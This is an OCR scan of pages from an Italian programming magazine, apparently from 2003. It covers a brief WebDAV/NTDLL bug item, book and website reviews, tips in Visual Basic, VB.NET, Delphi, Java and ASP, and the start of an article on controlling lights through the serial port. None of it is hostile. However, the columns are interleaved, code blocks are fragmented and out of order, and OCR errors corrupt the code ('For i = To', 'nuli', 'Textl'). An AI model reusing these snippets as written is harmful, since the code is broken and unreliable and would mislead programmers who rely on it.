gando sul bug, hanno scoperto che altre
piattaforme, diverse da US, potrebbero
diventare veicoli per questo attacco e che
WebDAV - in questo caso - non ha nessun
bug, è solo un mezzo per arrivare alla
NTDLL.DLL, che è la vera sede del pro-
blema.
Elia Florio
46*-** m
a g g
2 3
http://www.itportal.it
Biblioteca
ON LINE
Java Fi le
Serve una particolare ap-
plet o JavaScript di sup-
porto alla vostra pagina
Web? Niente paura ecco il
sito giusto!
ES^^^HHH
Si
SZZ- "JZZjZZp"
http://www.javafile.com/
Delphi32
li sito dedicato agli svi-
luppatori Delphi: faq,
articoli, Tips & Tricks.
Da porre l'accento sulla
sezione Newsgroups: ben
curata e soprattutto visi-
tata da numerosi esperti.
http://www.delphi32.com/
123 ASPX
Ti sei da poco avvicinato
alla programmazione ASP
.NET?
Hai bisogno di trovare un
sito interamente dedicato
al linguaggio con tanto
materiale pronto all'uso?!
Allora non puoi non visi-
tare questo sito!
Wireless Java: developing with J2ME
WIRELESS JAVA :
DfwmiH' urini Uni, Hcn UHM
http://www.123aspx.com/
Un testo che si ripromette di guidare il lettore nella comprensione e utilizzo
passo passo della nuova tecnologia Java 2 Micro Edition, una versione del
linguaggio Java interamente dedicata allo sviluppo di applicazioni rivolte al
mondo mobile (telefonini, palmari, PDA, Smartphone). I vari capitoli illustrano
diversi aspetti della tecnologia, tra cui l'utilizzo del MIDP (Mobile Information
Device Profile) ovvero l'implementazione, specifica per il dispositivo, della Java
Virtual Machine, in grado di far girare applicazioni sviluppate attraverso un
SDK compatibile. Diversi esempi pratici guidano l'utente nella realizzazione di
applicazioni in grado di "colloquiare" direttamente con le caratteristiche
hardware del dispositivo mobile; interessante un esempio completo che mostra
come realizzare un'applicazione in grado di dialogare, tramite protocollo http,
con Internet.
Difficoltà: Medio - Alta • Autore: Jonathan Knudsen • Editore: APress http://www.apress.com
ISBN: 1-59059-077-5 • Anno di pubblicazione: 2003 • Lingua: Inglese • Pagine: 364
Prezzo: $ 34.99
Programmare AutoCAD con VBA
AutoCAD 2002 rappresenta sicuramente il software più prestigioso al mondo per
il disegno tecnico e la progettazione. Il software si è evoluto nel tempo fino a
diventare un vero e proprio ambiente in grado di essere personalizzato grazie al
supporto del linguaggio VBA (Visual Basic for Application). Ripercorrendo i
diversi capitoli del testo, il lettore avrà la possibilità di apprendere le basi
dell'automazione, dei comandi e della programmazione orientata agli oggetti, di
acquisire familiarità con l'ambiente di sviluppo interattivo VBA di AutoCAD fino a
progettare documenti in grado di interagire con altre applicazioni e attraverso la
Rete Internet.
Difficoltà: Medio - Alta • Autore: Clark Jeffrey E. • Editore: Mondadori Informatica
http://www.education.mondadori.it • ISBN: 88-8331-425-5 • Anno di pubblicazione: 2002
Lingua: Italiano • Pagine: 727 • Prezzo: C 50,00
Telecomunicazioni - Reti, trasmissione dati,
telefonia, wireless
Il volume si pone come un'ottima guida all'apprendimento delle nuove tecnologie
di trasmissione dati; il libro offre un'ampia panoramica su tutte le tematiche chiave
ad essa relative, partendo con un breve storia della telefonia e dell'evoluzione delle
reti, per passare poi al wireless, la convergenza, il protocollo IP, le reti virtuali
private, insomma spaziando dalle più datate tecnologie di trasmissione dati, alle
più moderne soluzioni. Un testo importante per chi vuole ampliare la propria
conoscenza sull'argomento Telecomunicazioni, sia il lettore un professionista
piuttosto che un semplice appassionato. Tra gli argomenti di maggiore spicco:
• Elementi fondamentali di telecomunicazione: le basi della telefonia e della
gestione del sistema telefonico
• L 'architettura di Internet, i service provider (ISP) e le opzioni d'accesso
• La rete PSTN
• Telefonia wireless
Difficoltà: Alta • Autore: Moore, Pitsky, Riggs, Southwick • Editore: Apogeo
http://www.apogeonline.com • ISBN: 88-503-2029-9 • Anno di pubblicazione: 2002
Lingua: Italiano • Pagine: 480 • Prezzo: C 36,00
48 ►►►
g g
http:// www. itportal.it
&
Tips&Tricks
I trucchi
del mestiere
La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto dell'esperienza di
chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca sulla Rete delle Reti, altri ancora ci
giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta scelti, verranno pubblicati nella
rubrica. Il codice completo dei tips lo trovate nel CD allegato nella directory \tips\.
V i s u a
B a s
€►►►►►►►►►
»
Come ricavare la versione
del programma sviluppato
Il codice che segue permette di ricavare la versione del programma,
le stesse informazioni visualizzate dal menu proprietà di un file
Windows.
End If
Next i
End Function
Accettare solo caratteri numerici
all'interno di una textbox
Il codice inserito nell' evento di una textbox, nell'esempio chiamata
Textl, scarta tutti i tasti premuti che non corrispondono ad un ca-
rattere numerico.
Me.Caption = Me.Caption &App. Major & "." & App. Minor & "."
& App. Revision
Convertire in modo semplice
un file grafico da WMF a BMP
Un piccolo pezzo di codice che rende possibile il passaggio fra due
tra i più diffusi formati grafici.
Spostare un file su disco
Per spostare un file su disco basta semplicemente utilizzare il se-
guente codice:
Name "C:\MIOFILE.TXT" As "C:\COPIA\MIOFILE.TXT"
Invece di rinominare il file il risultato sarà lo spostamento in
un'altra directory.
Controllare se un form
è presente in memoria
È possibile utilizzare il seguente codice per verificare se un form con
un nome predefinito e' presente in memoria. La funzione cerca tra
tutti i form uno che abbia il nome da noi scelto.
Private Function CercaForm(ByVal form_name As String) As Form
Dim i As Integer
' Per default la form non e' trovata.
Set CercaForm = Nothing
' Ciclo per la ricerca.
For i = To Forms.Count - 1
If Forms(i).Name = form_name Then
' We found it. Return this form.
Set CercaForm = Forms(i)
Exit For
Private Sub Textl_Change()
If Not IsNumeric(Textl.Text) Then
Textl. Text = ""
End If
Come rilevare una connessione
internet attiva
La funzione seguente, utilizzando la libreria ivininet, testa lo stato
della connesione ad internet cosi' da rilevare se si e' connessi alla re-
te, se e' presente una connessione viene ritornato un valore 1 altri-
menti viene ritornato un valore 0.
Private Declare Function InternetGetConnectedState Lib "wininet"
(ByRef dwflags As Long,ByVal dwReserved As Long) As Long
Con queste costanti possiamo anche distinguere il tipo di connessio-
ne attiva.
Private Const CONNECT_LAN As Long = &H2
Private Const CONNECT_MODEM As Long = &H1
Private Const CONNECT_PROXY As Long = &H4
Private Const CONNECT_OFFLINE As Long = &H20
Il codice che segue illustra un possibile uso della funzione in oggetto.
Public Function IsWebConnected(Optional ByRef ConnType As String)
As Boolean
Dim dwflags As Long
Dim WebTest As Boolean
ConnType = ""
WebTest = InternetGetConnectedState(dwflags, 0&)
Select Case WebTest
Case dwflags And CONNECT_LAN: ConnType = "LAN"
Case dwflags And CONNECT_MODEM: ConnType = "Modem"
Case dwflags And CONNECT_PROXY: ConnType = "Proxy"
Case dwflags And CONNECT_OFFLINE: ConnType = "Offline"
End Select
IsWebConnected = WebTest
End Function
Private Sub Commandl_Click()
http: //www. itportal.it
g g
3 ►►► 49
Dim msg
As String
If IsWebConnected(msg)
Then
msg =
"Sei connesso
ad internet tramite :
" &
msg
Else
msg =
"Non sei connesso ad internet."
End If
MsgBox msg, vbOKOnly,
"Stato della connessione
ad internet"
End Sub
Come rilevare il tipo di unità
fornita come parametro
Per rilevare il tipo di unità facciamo ricorso alle API ed in particola-
re alla funzione GetDriveType contenuta in Kernel32:
Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA"
(ByVal nDrive As String) As Long
La funzione accetta in input l' identificativo logico dell'unità da esa-
minare e ritorna in output un valore del tipo:
1 se il drive non esiste;
2 se è un disco rimovibile;
3 se è un hard disk;
4 se è un drive di rete;
5 se è un CD-Rom;
6 se è un RAM Drive.
Rilevare lo spazio disponibile
su un disco e altre informazioni
La funzione GetDiskFreeSpace permette di sapere quanto spazio libe-
ro è ancora presente in un disco, la dichiarazione è la seguente:
Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias
"GetDiskFreeSpaceA" (ByVal IpRootPathName As String,
IpSectorsPerCluster As Long, IpBytesPerSector As Long,
IpNumberOfFreeClusters As Long, IpTtoalNumberOfClusters
As Long) As Long
Passando come primo parametro l'identificativo logico dell'unita da
esaminare, la funzione assegna ai restanti parametri i valori rilevati,
a questo punto per determinare lo spazio libero su disco basta mol-
tiplicare: (Settori per cluster) * (bytes per settori) * (numero di cluster li-
beri)
Conoscere la dimensione in byte
di un file
La funzione FileLen ritorna in output il numero di byte che com-
pongono il file specificato nel parametro in input.
Dimensione=FileLen("c: \miofile.txt ")
Come rilevare il nome
del computer in uso
La funzione Nomepc, facendo uso di GetComputerName, ritorna come
valore il nome del pc.
Private Declare Function GetComputerName Lib "kernel32" Alias
"GetComputerNameA" (ByVal IpBuffer As String, nSize As Long) As Long
Function Nomepc() As String
Nascondere il puntatore del mouse
Usando la seguente funzione è possibile evitare che venga vi-
sualizzata la freccetta utilizzata come puntatore del mouse:
Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long)
L'uso è molto semplice:
ShowCursor ' nasconde il puntatore
ShowCursor 1 ' riattiva la visualizzazione del puntatore
Come generare
codici alfanumerici univoci
Questo tip si consente di generare degli ID alfanumerici di 32 carat-
teri/numeri sfruttando la API di Windows CoCreateGuid ed elimi-
nando dal GUID le parentesi graffe e i trattini. Questo sistema può
essere utile in una tabella di un DB se non si vuole utilizzare un cam-
po sequence, per file e cartelle temporanee e per tutti i casi in cui si
abbia bisogno di un codice univoco. Tip fornito dal sig. A.Castaldo
Option Explicit
Private Declare Function CoCreateGuid Lib "ole32.dll" (pguid As Guid)
AsLong
Private Declare Function StringFromGUID2 Lib "ole32.dll" (rguid As Any,
ByVal IpstrCIsId As Long, ByVal cbMax As Long) As Long
Private Type Guid
Datai As Long
Data2 As Long
Data3 As Long
Data4(8) As Byte
End Type
Public Function CreateGUID() As String
Dim udtGUID As Guid
Dim strGUID As String
Dim bytGUIDQ As Byte
Dim IngLen As Long
Dim IngRetVal As Long
Dim IngPos As Long
IngLen = 40
bytGUID = String(lngLen, 0)
CoCreateGuid udtGUID
IngRetVal = StringFromGUID2(udtGUID, VarPtr(bytGUID(0)), IngLen)
strGUID = bytGUID
If (Asc(Mid$(strGUID, IngRetVal, 1)) = 0) Then
IngRetVal = IngRetVal - 1
End If
strGUID = Left$(strGUID, IngRetVal)
CreateGUID = strGUID
End Function
Public Function CreateID() As String
CreatelD = RemoveChars(CreateGUID, "{-}")
50*-*-* m
g g
3
http: //www. itportal.it
T I P S
T R I C K S
IL TIPONE del mese
Handles Buttonl. Click
AddHandler Allarme. Changed, AddressOf Cambiamento
^i Come monitorare un file
l£U o una cartella di sistema
AddHandler Allarme. Renamed, AddressOf Rinomina
Allarme. EnableRaisingEvents = True
End Sub
Il tip, in linguaggio VB.NET, consente di monitorare costantemen-
Private Sub Cambiamento(ByVal Sorgente As Object, ByVal
te una cartella o un file del sistema avvertendo l'utente ogni qual-
e As FileSystemEventArgs)
volta accade una variazione, per esempio il file viene rinominato
MsgBox("Attenzione il file è cambiato in qualche sua componente")
o modificato. Il codice lavora in background e si attiva alla pres-
End Sub
sione del buffoni; nell'esempio viene monitorizzato il file test.txt
Private Sub Rinomina(ByVal Sorgente As Object, ByVal
presente nella directory e: \ . Il tip è personalizzabile per controlla-
e As System. IO. RenamedEventArgs)
re qualunque file del sistema.
MsgBox("Attenzione il file è stato Rinominato")
Tip fornito dal sig. Miceli
End Sub
Private Sub Forml_Load(ByVal sender As System. Object, ByVal
Imports System
e As System. EventArgs) Handles MyBase.Load
Imports System. Diagnostics
Allarme = New FileSystemWatcher()
Imports System. IO
InfoFile = New FileInfo("c:\test.txt")
Imports System.Threading
With Allarme
Public Class Formi
.Path = InfoFile. DirectoryName.ToString
Inherits System. Windows. Forms. Form
.Filter = ""
Private Allarme As System. IO. FileSystemWatcher
.NotifyFilter = NotifyFilters.FileName Or _
Private InfoFile As Filelnfo
NotifyFilters.Size Or NotifyFilters.LastWrite
#Region " Codice generato da Progettazione Windows Form "
Or NotifyFilters.CreationTime
End With
#End Region
End Sub
Private Sub Buttonl_Click(ByVal sender As System. Object,
ByVal e As System. EventArgs)
End Class
End Function
Private Function RemoveChars(Source As String, Chars As String) As String
Dim enumChars As Long
RemoveChars = Source
For enumChars = 1 To Len(Chars)
RemoveChars = Replace( RemoveChars, Mid(Chars, enumChars, 1), "")
Next
End Function
Sub main()
MsgBox CreatelDQ
End Sub
SelectNext(ActiveControl
as
TWinControl,True,True );
per il precedente usare:
SelectNext(ActiveControl
as
TWinControl,False,True );
Come ricavare il nome della window
posizionata in una specifica posizione
dello schermo
La funzione NomeWindow ritorna in output il nome della window
posizionata nelle coordinate x,y:
► D e I p h
► ►►►►►►►►►►►►►
Come leggere lo stato
del CAPS LOCK
Nel codice che segue la funzione IsCapsLockOn ritorna True o Fal-
se il tasto attivato o disattivato.
Come spostare il focus all'oggetto
successivo o precedente
Per spostare il focus all'oggetto successsivo usare:
function NomeWindow( X, Y : integer ) : string;
var
P : TPoint;
W : TWinControl;
begin
P.X := X;
P.Y := Y;
W := FindVCLWindow( P );
if( nil <> W )then
begin
Result := W.Name;
end else
begin
Result := ";
end;
end;
http: //www. itportal.it
M a g g
2 3 ►►► 51
T I P S
T R I C K S
Come leggere la data dell'ultimo
accesso ad un file
Poche righe di codice per conoscere la "storia" di un file e in parti-
colare quando si è verificato l'ultimo utilizzo dello stesso:
function Ultimoaccesso(sFileName : string ) : TDateTime;
var
ffd : TWin32FindData;
dft : DWord;
Ift : TFileTime;
h : THandle;
begin
h := Windows. FindFirstFile(PChar(sFileName) f ffd);
if (INVALID_HANDLE_VALUE <> h) then
begin
Windows. FindClose( h );
FileTimeToLocalFileTime(ffd.ftLastAccessTime, Ift );
FileTimeToDosDateTime(lft f LongRec(dft).Hi, LongRec(dft).Lo);
Result := FileDateToDateTime(dft);
end;
end;
Come chiedere conferma per
la chiusura di una applicazione
Con la procedura presentata di seguito si offre la possibilità all'u-
tente di confermare una scelta delicata come la chiusura dell' appli-
Aprire e chiudere il carrello
del lettore del CD
Per utilizzare queste due funzioni è necessario includere nel proget-
to la unit MMSYSTEM.
Procedure
ApriCD;
Begin
mciSendString('Set cdaudio
door
open',
nil,
0, 0);
End;
Procedure
ChiudiCD;
Begin
mciSendSI
:ring('Set cdaudio
door
closed'
, ni
1, 0, 0);
End;
Inviare una e-mail con il programma
di posta elettronica predefinito
Per poter utilizzare il codice presentato, è necessario aggiungere al
progetto la unit ShellApi
ShellExecute(Handle, 'open', 'mailto:
GiuseppeSgro@email.it?subject=mair, ", ", SW_SHOWDEFAULT);
Lanciare il browser predefinito
ed aprire una pagina web
Anche in questo caso è necessario aggiungere al progetto la unit
ShellApi:
ShellExecute(Handle, 'open', 'http://www.delphitips.com', ", ",
SW_SHOWDEFAULT);
Come convertire un carattere nel suo
corrispondente codice ascii
Nel seguente esempio viene convertito un carattere nel suo codice
ascii e viceversa.
Lanciare un'applicazione ed
attenderne la fine dell'esecuzione
Una porzione di codice utilissima, che consente una semplice inte-
razione fra applicazioni diverse:
procedure Esempio;
var ProgramHandle : THandle;
begin
ProgramHandle := WinExec('C:\Programma.exe', SW_SHOWNORMAL);
while GetModuleusage(ProgramHandle) <> do
application, processmessages;
{Tutto ciò che verrà iserito qui sarà eseguito finché non termina
l'applicaizone esegiuta da winexec}
end;
Java ►►►►►►►►►►►►►►►►►
1^1
Usare cut & paste in Java
Le applicazioni Java possono utilizzare la clipboard creando un'i-
stanza dell'oggetto Clipboard e richiedendone o settandone il conte-
nuto:
Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard();
String str = textarea.getText();
StringSelection contents = new StringSelection(str);
cb.setContents(contents, nuli);
Dall'altra parte si può invece recuperare il contenuto della clipboard
con:
Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard();
Transferable content = cb.getContents(this);
try {
String str = (String)content.getTransferData(DataFlavor.stringFlavor);
texta rea . setText(str) ;
} catch (Throwable e)
52^^^ m
a g g
2 3
http: //www. itportal.it
{ System. err.println(e); }
Nella documentazione API di Java potete trovare tutte le informa-
zioni necessarie a recuperare anche altri tipi di dati dalla clipboard
per aggiungere ai vostri programmi tutta la comodità e la potenza
della funzionalità di cut & paste.
Concatenazione di stringhe
e performance
Se avete del codice in cui la concatenazione di stringhe è un'opera-
zione molto frequente, tenete a mente che l'utilizzo dell'operazione
+ sulle stringhe:
String stringi = "Ciao ";
String string2 = "Federico";
stringi = stringi + string2;
bita. Il fatto è che tutti i tipi primitivi in java sono passati per va-
lore, cioè ne viene fatta una copia prima del passaggio ad un me-
todo chiamato. Gli oggetti e gli array invece sono passati per rife-
rimento, ovverosia ai metodi invocati viene offerto un "puntato-
re" - per dirla alla C++ - alla locazione di memoria dove si trova
l'oggetto originale, e quindi se l'oggetto viene manipolato nel me-
todo viene modificata l'unica copia dell'oggetto disponibile. Te-
nete sempre a mente gli effetti collaterali del passaggio di riferi-
mento quando scrivete dei metodi che ricevono degli oggetti o de-
gli array come parametri, in modo da non modificarli inavvertita-
mente e trovare delle sorprese inaspettate al ritorno dalla chiama-
ta del metodo.
La corto-circuitazione degli operatori
booleani
Considerate il seguente codice:
è molto meno performante del metodo appena dello string buffer
StringBuffer bufferl = "Ciao ";
String string2 = "Federico";
bufferl. append(string2);
Questo è dovuto al fatto che le stringhe in Java sono immutabili e
quindi l'operatore + (unico operatore overloaded in Java) per unire
due stringe deve compiere le seguenti operazioni:
1 creare uno StringBuffer dalla prima stringa;
2. utilizzare il metodo appena di StringBuffer per la concatenazione;
3. riconvertire in String lo StringBuffer risultante dalla concatena-
zione.
Se sostituite, quindi, lo StringBuffer alla String nei punti dove la con-
catenazione avviene spesso, potreste rendere molto più efficienti i
vostri algoritmi. . .
Pass-by-Value e Pass-By-Reference
Considerate il seguente codice di esempio di una classe qualunque:
void passByValue(int i) { f = 15; }
void passByReference(StringBuffer sb) { sb.append(" vedo?"); }
void provaMetodi()
{
int i = 1;
StringBuffer sb = new StringBuffer("Cosa");
passByValue(i);
passByReference(sb);
System. out.println("Value of i: " + i);
System. out.println("Value of sb: " + sb);
}
if ( object != nuli && object. equalsTo(otherObject) )
{
// fai qualcosa con object
}
Se gli operatori booleani non fossero ottimizzati, il problema sa-
rebbe che quando object non è inizializzato, la seconda parte del-
la condizione genera una fastidiosa NullPointerException e il pro-
gramma si ferma. Invece sia && che I I sono corto-circuitati, nel
senso che se il primo dei due operandi di questi operatori resti-
tuisce un valore per cui il valore del secondo operando non va ad
influire sul risultato dell'espressione, il secondo operando non
viene valutato, risparmiando così tempo di esecuzione e sulla ni-
dificazione degli if. In breve, quando object != nuli è false, il valore
di object. equalsTo(otherObject) non può cambiare il fatto che l'inte-
ro if sarà falso, e quindi non viene valutato, evitando così la dolo-
rosa eccezione che dicevamo.
La stessa cosa vale per I I , ma in questo caso l'ottimizzazione
scatta per valori true. Questo è una conseguenza delle tabelle di
verità di AND e di OR, che fanno riferimento alla base dell'arit-
metica booleana.
Thread ed eccezioni
Quando in un thread vengono sollevate delle eccezioni che non
sono gestite, la macchina virtuale termina il thread in questione
ed invoca il metodo uncaughtException del ThreadGroup cui il th-
read appartiene. E possibile derivare una propria implementazio-
ne di ThreadGroup e riscrivere il metodo uncaughtException per
avere pieno controllo sulla chiusura problematica dei thread che
la vostra applicazione utilizza e per poter gestire, in un solo pun-
to, tutte le eccezioni che non volete catturare singolarmente in
ogni metodo dei vostri thread.
La signature del metodo da riscrivere è:
Il risultato stampato sarà
public void uncaughtException(Thread t, Throwable e)
Value of i: 1
Value of sb: Cosa vedo?
mentre per la creazione di un thread associato ad un gruppo che
avete derivato voi, usate uno dei seguenti costruttori
In altre parole il valore intero originale non ha subito le modifiche
del metodo passByValue, mentre l'oggetto StringBuffer si porta die-
tro, dal metodo passByReference , gli effetti della manipolazione su-
Thread(ThreadGroup tg, Runnable target, String name)
Thread(ThreadGroup tg, Runnable target)
Thread(ThreadGroup tg, String name)
http: //www. itportal.it
g g
3 ►►► 53
Internazionalizzare le applicazioni
Quando nelle applicazioni si devono visualizzare o stampare nu-
meri e date o confrontare stringhe, spesso si deve far caso alle diffe-
renze che queste operazioni comportano rispetto a culture diverse.
In Java è possibile utilizzare delle classi apposite che permettono di
gestire in maniera semplice questa varietà. Nel package java .text esi-
stono delle classi per lo più astratte per la formattazione di numeri
e date, che utilizzano dei metodi getlnstance per restituire degli og-
getti di formattazione dei valori:
NumberFormat nf2 = NumberFormat.getlnstance(Locale.ITALIAN);
System. out.println(nf2.format(1234. 56));
visualizzerà il seguente output
1.234,56
secondo la nostra convenzione di utilizzare la virgola come punto
decimale ed il punto come separatore delle migliaia.
Siccome le funzionalità offerte sono molte e riguardano la rappre-
sentazione di svariati formati numerici (percentuali, valuta, decima-
li, interi, etc), di date, ed il confronto nazionalizzato di stringhe.
Si consiglia di consultare TAPI di Java per approfondire l'argomen-
to se pensate che vi possa tornare utile.
Classi interne e classi anonime
Nel seguente codice troviamo un esempio sintattico dell'utilizzo
di classi interne e di classi anonime. Le prime sono classi che ven-
gono utilizzate solo all'interno di altre classi, in quanto sono defi-
nite proprio internamente al blocco stesso di definizione della
classe che le include. La loro utilità è quella di non essere visibili
se non nell'oggetto che le definisce e quindi sono comode in quel-
le situazioni in cui servono degli oggetti solo per l'implementa-
zione di una classe. Le definizioni anonime invece vengono im-
piegate nella ridefinizione al volo di qualche tipo di dati, ridefini-
zione che però non ha altri impieghi se non nel contesto in cui è
dichiarata.
}
Come dichiarare array anonimi
Quando in un metodo è richiesto un array come parametro o co-
munque in qualunque circostanza vi sia necessità di un array, ricor-
date che esiste una sintassi abbreviata che vi consente di creare ar-
ray all'istante (un po' come per le classi anonime) e senza associarli
ad una variabile. Questo può evitarvi la creazione di variabili inuti-
li e semplifica il vostro codice.
Ecco un esempio:
myMethod(new int[] {10, 23, 45, 9, 12, 59»;
// dichiarazione di myMethod: void myMethod(int[] values)
Ovviamente questo ha senso solo se l'array del caso poi non vi ser-
ve più, perché non avete nessun riferimento all'oggetto anonimo
creato come mostrato qui sopra.
Gestire le versioni dei package
Può essere utile creare dei package java in diverse versioni, in mo-
do da poter scrivere del codice che faccia riferimento alle caratte-
ristiche di una o dell'altra release delle classi che fanno parte del
package stesso. Esiste una specifica java (Java Product Versioning
Specification) che consente di aggiungere informazioni relative al
livello di sviluppo di un package attraverso il manifest file del
JAR in cui le varie classi vengono raccolte. Ecco un esempio di ma-
nifest. mf con informazioni di versioning:
Manifest-Version: 1.0
Name: it/fedmest/myclasses
Specification-Title: Java Package con Versioni
Specìfication-Vendor: Federico Mestrone
Specìfication-Version: 1.0
Implementation-Title: it.fedmest.myclasses
Implementation-Vendor: FedericoMestrone.Com
Implementation-Version: Build 1.0.3-b32
class UnaClasseNormale
{
void unMetodo() {}
void unAltroMetodo() {}
}
class UnAltraClasseNormale
{
// Queste due classi saranno visibili solo in UnAltraClasseNormale
static class UnaClasselnterna {} // classe interna statica
class AltraClasselnterna {} // classe interna
void unMioMetodo()
j
class ClasselnternaLocale {} // classe interna locale al metodo
_}
void mioAltroMetodo()
j
// classe anonima: ridefinisce un metodo della classe originale
UnaClasseNormale bref = new UnaClasseNormale ()
{
void unMetodo() {} // Qui ridefinisco il metodo originale
Queste informazioni possono poi essere utilizzate nel vostro codice
con i metodi della classe java. lang. Package:
Package pkg = Package. getPackage("it.fedmest.myclasses");
System. out.println("Package name:\t" + pkg.getName());
System. out.println("Spec title:\t" + pkg.getSpecificationTitleQ);
System. out.println("Spec vendor:\t" + pkg.getSpecificationVendor());
System. out.println("Spec version:\t" + pkg.getSpecificationVersion());
System. out.println("Impl title:\t" + pkg.getImplementationTitle());
System. out.println("Impl vendor:\t" + pkg.getImplementationVendor());
System. out.println("Impl version:\t" + pkg.getImplementationVersion());
Realizzare un file Zip in Java
Java viene fornito completo di tutte le classi necessarie a creare dei
file ZIP compressi. Con il codice seguente viene creato un file zip-
pato che include un file .doc compresso. E interessante notare che è
anche possibile zippare dei dati in memoria, senza necessariamente
passare per un file, utilizzando uno stream di input diverso da Fi-
lelnputStream.
BufferedlnputStream origin = nuli;
54*** m
g g
3
http: //www. itportal.it
FileOutputStream dest = new FileOutputStream("D:\\filezippato.zip");
ZipOutputStream out = new ZipOutputStream(new
BufferedOutputStream(dest));
out.setMethod(ZipOutputStream.DEFLATED); // Attiva la compressione
byte data[] = new byte[2048];
FilelnputStream fi = new FileInputStream("D:\\filenormale.doc");
origin = new BufferedInputStream(fi, BUFFER);
ZipEntry entry = new ZipEntry("D:\\filenormale.doc");
out. putNextEntry (entry);
int count;
while((count = origin. read(data, 0, 2048)) != -1)
{ out.write(data, 0, count);
}
origin. close();
out.close();
ZipAnywhere: WinZip secondo Java
Esiste un'applicazione grafica Java - gratuita per uso non com-
merciale - con la quale potete compiere tutte le operazioni classi-
che di WinZip, oltre a crearvi dei JAR auto-estraibili, molto como-
di per distribuire le vostre applicazioni. Il programma si chiama
ZipAnywhere ed è necessario solo un ambiente run-time Java per
poterlo utilizzare. Lo potete scaricare (si tratta di soli 87Kb) all'in-
dirizzo http:llwiOTV.geocities.com/zipanywhere - si tratta di un file jar
eseguibile quindi basta un doppio click per avviare la finestra
principale.
Memoria a disposizione
Se volete conoscere il valore della memoria a disposizione della vo-
stra applicazione, basta utilizzare il codice che segue:
in maiuscoletto
Massimiliano Luciani
webmaster@byluciani.com
http://www.byluciani.com
Function CCase(strSource)
Dim arrWords
Dim i
If IsNull(strSource) Or Len(Trim(strSource)) < 1 Then
CCase = strSource
Else
strSource = LCase(strSource)
arrWords = Split(strSource)
For i = To UBound(arrWords)
arrWords(i) = UCase(Left(arrWords(i), 1)) & Mid(arrWords(i), 2)
Next
CCase = Join(arrWords)
End If
End Function
'str = "Un TIP per convertire una stringa in " & _
"maiuscoletto - Massimiliano Luciani - byluciani.com"
str=" d "
Response.Write "<b>Origine:</b> " & str
Response.Write "<brxbr>"
Response.Write "<b>Maiscoletto:</b> " & CCase(str)
%>
Runtime rt = Runtime.getRuntime();
System. out. println("Memoria totale massima a disposizione della VM: " +
rt.totalMemoryO);
System. out. println("Memoria ancora non utilizzata di quella a
disposizione: " + rt.freeMemoryO);
Il metodo freeMemoryO dell'oggetto Runtime restituisce il valore in
bite della memoria di sistema ancora disponibile per la macchina
virtuale, mentre con totalMemory potete conoscere il numero di byte
che il sistema operativo ha allocato per la JVM.
► ASP**^*******^******^
A
Come convertire una stringa
in maiuscoletto
Una semplice funzione che si affianca alle standard LCase e UCa-
se; con essa è possibile convertire una determinata stringa in
maiuscoletto.
Tip fornito dal sig. M.Luciani
<%
'Funzione Maiuscoletto
che ti premia
DCS
200
'la stringa strSource passata alla
'funzione CCase verrà convertita
Questo mese
in palio un
COMPLETO
SISTEMA DI
ACQUISIZIONE
VIDEO D azzle
Inviaci la tua soluzione ad un problema di
programmazione, una faq, un tip...
Tra tutti quelli giunti mensilmente in redazione,
saranno pubblicati i più meritevoli e, fra questi,
scelto il "TipOne" del mese,
PREMIATO CON UN FANTASTICO OMAGGIO!
Invia i tuoi lavori a ioprogrammo@edmaster.it
http: //www. itportal.it
9 9
3 ►►► 55
t t
Il controllo
DI UNA SEQUENZA DI LUCI
CON LA PORTA SERIALE
Elettronica
e Delphi
File sul CD
\soft\codice\
SpuntoControlloLuci.zip
File sul Web
www.itportal.it/iop69
/SpuntoControlloLuci.zip
Espansione
del circuito
r-S. L'applicazione
"*w proposta in que-
sto atricolo permette di
controllare dieci luci
per mezzo della porta
seriale: è possibile
espandere il sistema
ponendo in serie più
contatori utilizzando
una particolare forma
circuitale che sfrutta la
linea di uscita 05-9 del
4017.
Se volete scoprire come
comandare una sequenza di
dieci luci per mezzo della porta
seriale del vostro PC, continuate
a leggere questo articolo;
esporremo la risoluzione del
problema dal punto di vista
Hardware e Software.
In queste pagine vedremo come sia possibile co-
mandare una sequenza di dieci luci, collegate ad
un semplice circuito elettronico, per mezzo della
porta seriale del Personal Computer. Dopo l'avvento
della porta USB, la seriale ha subito un deciso calo di
popolarità, spesso le porte di questo tipo rimangono
sempre più spesso inutilizzate sui nostri calcolatori,
un motivo in più per sfruttarne le enormi potenzialità
con alcuni utili esperimenti. Il problema del controllo
di una serie di luci con una porta seriale può fare pen-
sare immediatamente ad un processo di conversione
serie-parallelo, come molti programmatori staranno
immaginando. Questo tipo di soluzione potrebbe es-
sere realizzabile, anche se in questa sede vogliamo
semplificare al massimo il progetto del circuito utiliz-
zando un solo circuito integrato CMOS 4017, dotato
di un contatore di Johnson a cinque stadi, completi di
decodificatore a dieci uscite, che utilizziamo per pilo-
tare la nostra sequenza di luci.
Si vuole esporre in questa sede come realizzare un cir-
Fig. 1: L'applicazione proposta in queste pagine
può essere realizzata con la Scheda Universale
proposta dall'autore su un numero precedente di
ioProgrammo, oppure per mezzo di una comune
basetta millefori.
cuito elettronico che permetta di risolvere il problema
esposto finora, e di proporre un software che sia ca-
pace di controllare il circuito in questione.
IL CIRCUITO
INTEGRATO 4017
Il circuito integrato 4017 contiene al suo interno un
contatore di Johnson a cinque stadi, munito di un de-
codificatore decimale a dieci uscite 00- 09 attive a li-
vello logico HIGH: comprende inoltre una linea di ri-
porto logico chiamata 05-9, che però non viene utiliz-
zata nella applicazione che proponiamo in questa se-
de.
e=y
&-STAGS JDflrf&DN CDUNTEH
I I I I T
| U P |C| |C-z- pi |0t '"s "ù pi ri fl Pg.
I2l^l!2.
\i \2 \i \l \K> \l ,& |8 |9
Fig.1 FurpiMloiiiìl 'li l'inni
mrenarniiinFirSirii
V Ba MS cp,. CP, t s , r.. r:-. ci.
3 HÉP4017B
a m ui w m iti ui ww
I l'I/ l'Illllll'Ulllill-llil
co* lipul (LOW b HIGH lrt,ga eo)
ecoi inmi i il .1 1 1 Uà» uni !■ ■!■
■ |. -i i.i. .il ..uij .ii-
csr-rn lp. i*-it.~ i Ov.
